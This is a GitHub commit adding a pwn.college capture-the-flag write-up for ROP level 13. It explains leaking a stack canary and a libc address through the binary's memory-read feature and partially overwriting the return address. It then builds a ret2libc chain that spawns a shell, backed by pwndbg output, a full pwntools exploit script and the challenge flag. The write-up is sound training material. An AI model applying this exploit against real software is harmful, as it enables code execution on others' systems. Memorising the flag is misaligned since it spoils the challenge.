Skip to content

Commit ec8a86e

Browse files
committed
Added ROP-level-13 write-up
1 parent 7441828 commit ec8a86e

File tree

1 file changed

+245
-0
lines changed

1 file changed

+245
-0
lines changed
Lines changed: 245 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,245 @@
1+
---
2+
layout: post
3+
title: (ROP) level 13
4+
categories: pwn.college ROP
5+
date: 2025-07-12 01:32:02 +0300
6+
tags: pwn.college stack-canary leak partial-overwrite jmp2start ret2libc PIE brute-force ROP
7+
---
8+
## Information
9+
- category: pwn
10+
11+
## Description
12+
> Perform ROP when the function has a canary!
13+
14+
## Write-up
15+
**PIE** and **Stack Canary** — How Do We Bypass Them?
16+
This binary has two common protections enabled:
17+
- **PIE (Position Independent Executable)** — makes function addresses change every run.
18+
- **Stack Canary** — detects stack corruption and prevents classic buffer overflows.
19+
20+
So how do we bypass them?
21+
22+
**Run the Program and Look for Leaks**
23+
```bash
24+
babyrop_level13.1
25+
###
26+
### Welcome to /challenge/babyrop_level13.1!
27+
###
28+
29+
[LEAK] Your input buffer is located at: 0x7fff442d0bb0.
30+
31+
Address in hex to read from:
32+
```
33+
**Stack Leak + Arbitrary Read**
34+
35+
As you can see, the program leaks the address of our input buffer.
36+
This is extremely useful — it gives us a foothold to calculate other addresses relative to it.
37+
38+
After that, the program prompts us to provide an address, then reads and prints memory from that location.
39+
40+
Now let’s switch to ```pwndbg``` and figure out **how far the stack canary is from our input buffer**.
41+
> Knowing the offset is key to leaking the canary by ``[address of input buffer + offset]``.
42+
{: .prompt-tip}
43+
```plaintext
44+
pwndbg> c
45+
Continuing.
46+
0x7ffe9ee44098
47+
[LEAK] *0x7ffe9ee44098 = 0x886d7ea0e4d74100
48+
49+
50+
Breakpoint 3, 0x000063b6fcebbd2e in main ()
51+
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
52+
─────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────
53+
*RAX 0x7ffe9ee44040 —▸ 0x63b6fceba040 ◂— 0x400000006
54+
RBX 0x63b6fcebbd70 (__libc_csu_init) ◂— endbr64
55+
*RCX 0
56+
*RDX 0x1000
57+
*RDI 0
58+
*RSI 0x7ffe9ee44040 —▸ 0x63b6fceba040 ◂— 0x400000006
59+
*R8 0x2d
60+
*R9 0x2d
61+
*R10 0x63b6fcebc084 ◂— 0x697661654c000a0a /* '\n\n' */
62+
R11 0x246
63+
R12 0x63b6fcebb120 (_start) ◂— endbr64
64+
R13 0x7ffe9ee44190 ◂— 1
65+
R14 0
66+
R15 0
67+
RBP 0x7ffe9ee440a0 ◂— 0
68+
RSP 0x7ffe9ee43ff0 ◂— 0
69+
*RIP 0x63b6fcebbd2e (main+332) ◂— call 0x63b6fcebb0f0
70+
──────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────
71+
► 0x63b6fcebbd2e <main+332> call read@plt <read@plt>
72+
fd: 0 (/dev/pts/0)
73+
buf: 0x7ffe9ee44040 —▸ 0x63b6fceba040 ◂— 0x400000006
74+
nbytes: 0x1000
75+
76+
77+
──────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────
78+
► 0 0x63b6fcebbd2e main+332
79+
1 0x72db05d8d083 __libc_start_main+243
80+
2 0x63b6fcebb14e _start+46
81+
─────────────────────────────────────────────────────────────────────────────────────────────────
82+
pwndbg> i f
83+
Stack level 0, frame at 0x7ffe9ee440b0:
84+
rip = 0x63b6fcebbd2e in main; saved rip = 0x72db05d8d083
85+
called by frame at 0x7ffe9ee44180
86+
Arglist at 0x7ffe9ee440a0, args:
87+
Locals at 0x7ffe9ee440a0, Previous frame's sp is 0x7ffe9ee440b0
88+
Saved registers:
89+
rbp at 0x7ffe9ee440a0, rip at 0x7ffe9ee440a8
90+
pwndbg> dist $rsi 0x7ffe9ee440a8
91+
0x7ffe9ee44040->0x7ffe9ee440a8 is 0x68 bytes (0xd words)
92+
pwndbg> dist $rsi $rbp-0x8
93+
0x7ffe9ee44040->0x7ffe9ee44098 is 0x58 bytes (0xb words)
94+
pwndbg>
95+
10:0080│-030 0x7ffe9ee44070 —▸ 0x72db05f5a2e8 (__exit_funcs_lock) ◂— 0
96+
11:0088│-028 0x7ffe9ee44078 —▸ 0x63b6fcebbd70 (__libc_csu_init) ◂— endbr64
97+
12:0090│-020 0x7ffe9ee44080 ◂— 0
98+
13:0098│-018 0x7ffe9ee44088 —▸ 0x63b6fcebb120 (_start) ◂— endbr64
99+
14:00a0│-010 0x7ffe9ee44090 —▸ 0x7ffe9ee44190 ◂— 1
100+
15:00a8│-008 0x7ffe9ee44098 ◂— 0x886d7ea0e4d74100
101+
16:00b0│ rbp 0x7ffe9ee440a0 ◂— 0
102+
17:00b8│+008 0x7ffe9ee440a8 —▸ 0x72db05d8d083 (__libc_start_main+243) ◂— mov edi, eax ◂— ret
103+
```
104+
**Putting It All Together — Leaking Canary and Libc, then ret2libc**
105+
At this point, we know everything we need:
106+
107+
- The **offsets** to reach the **canary** and the **return address**
108+
- A leaked pointer to ```__libc_start_main+243```
109+
- And a helpful ```read```/```scanf``` mechanism that lets us control both memory and execution flow
110+
111+
**Leak the Stack Canary**
112+
On the first interaction, we provide the address:
113+
114+
```plaintext
115+
[buffer_address + canary_offset]
116+
```
117+
118+
This lets us leak the **stack canary** using the program’s built-in memory read feature.
119+
We record this value to safely bypass the canary check later.
120+
121+
122+
123+
**Partial Overwrite to Re-Enter Main**
124+
125+
The return address already ends with ``0x90`` (the low byte).
126+
We can take advantage of this by **partially overwriting** the high byte(s) of the return address to jump back into ```main``` — this gives us a second chance to interact and build our full exploit.
127+
128+
129+
**Leak the Libc Base**
130+
131+
For the second interaction, we want to leak the libc address.
132+
We send:
133+
```plaintext
134+
[buffer_address + ret_offset]
135+
```
136+
This points to a saved return address on the stack — specifically a pointer to ```__libc_start_main+243```.
137+
138+
Because we **know the offset** of ```__libc_start_main+243``` in libc (```0x24083```), we can subtract and recover the **libc base**.
139+
140+
141+
142+
**ret2libc — Spawn a Shell**
143+
144+
On the second call to ```read```, we craft a final payload:
145+
146+
- Fill buffer until canary
147+
- Insert the leaked canary
148+
- Add padding to reach RIP
149+
- Then place a **ROP chain**:
150+
```python
151+
payload += p64(pop_rdi)
152+
payload += p64(next(lib.search(b"/bin/sh\x00")))
153+
payload += p64(libc.symbols['system'])
154+
```
155+
This executes ```system("/bin/sh")``` and gives us a shell. 🎉
156+
157+
## Exploit
158+
```python
159+
from pwn import *
160+
161+
offset_canary = 0x58
162+
offset_ret = 0x8
163+
offset_start = 0x24083
164+
165+
def run():
166+
elf = context.binary = ELF("/challenge/babyrop_level13.1")
167+
return elf.process()
168+
169+
def leak(r,offset):
170+
r.recvuntil(b"located at: ")
171+
address = int(r.recvline().strip(b".\n"),16)
172+
r.sendline(hex(address + offset))
173+
r.recvuntil(b"[LEAK] ")
174+
leaked = int(r.recvline().split(b" = ")[1].strip() ,16)
175+
176+
print(f"{hex(leaked)}")
177+
return leaked
178+
179+
def payload1(canary):
180+
fixed = b"\x90"
181+
high = [p8(i) for i in range(0x0f,0x10f,0x10)]
182+
183+
return flat(
184+
b"b"*offset_canary,
185+
canary,
186+
b"B"*offset_ret,
187+
fixed + random.choice(high)
188+
)
189+
190+
def payload2(canary , libc):
191+
libcbase = libc - offset_start
192+
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
193+
lib.address = libcbase
194+
195+
rop = ROP(lib)
196+
197+
return flat(
198+
b"A" * offset_canary,
199+
canary,
200+
b"A" * 8,
201+
202+
rop.ret.address,
203+
rop.rdi.address,
204+
205+
next(lib.search(b"/bin/sh\x00")),
206+
lib.symbols["system"]
207+
)
208+
209+
def attack(p):
210+
canary = leak(p,offset_canary)
211+
log.success(f"Canary: {hex(canary)}")
212+
213+
p.send(payload1(canary))
214+
215+
try:
216+
if b"Welcome to" in p.recvuntil(b"Welcome to"):
217+
leak_base = leak(p,0x68)
218+
log.success(f"libc leak: {hex(leak_base-offset_start)}")
219+
220+
p.send(payload2(canary,leak_base))
221+
p.interactive()
222+
print("HMMMMMMMM")
223+
return 1
224+
except Exception as e:
225+
log.failure(f"try again {e}")
226+
return False
227+
228+
229+
def main():
230+
while True:
231+
p = run()
232+
try:
233+
if attack(p):
234+
break
235+
except Exception as e:
236+
log.warning(f"fail: {e}")
237+
finally:
238+
p.close()
239+
240+
if __name__ == "__main__":
241+
main()
242+
```
243+
244+
## Flag
245+
> Flag:``` pwn.college{rasw_tPswS-zHS7TDZch7.0VO19q-EfLwczN4MDczW}```

0 commit comments

Comments
 (0)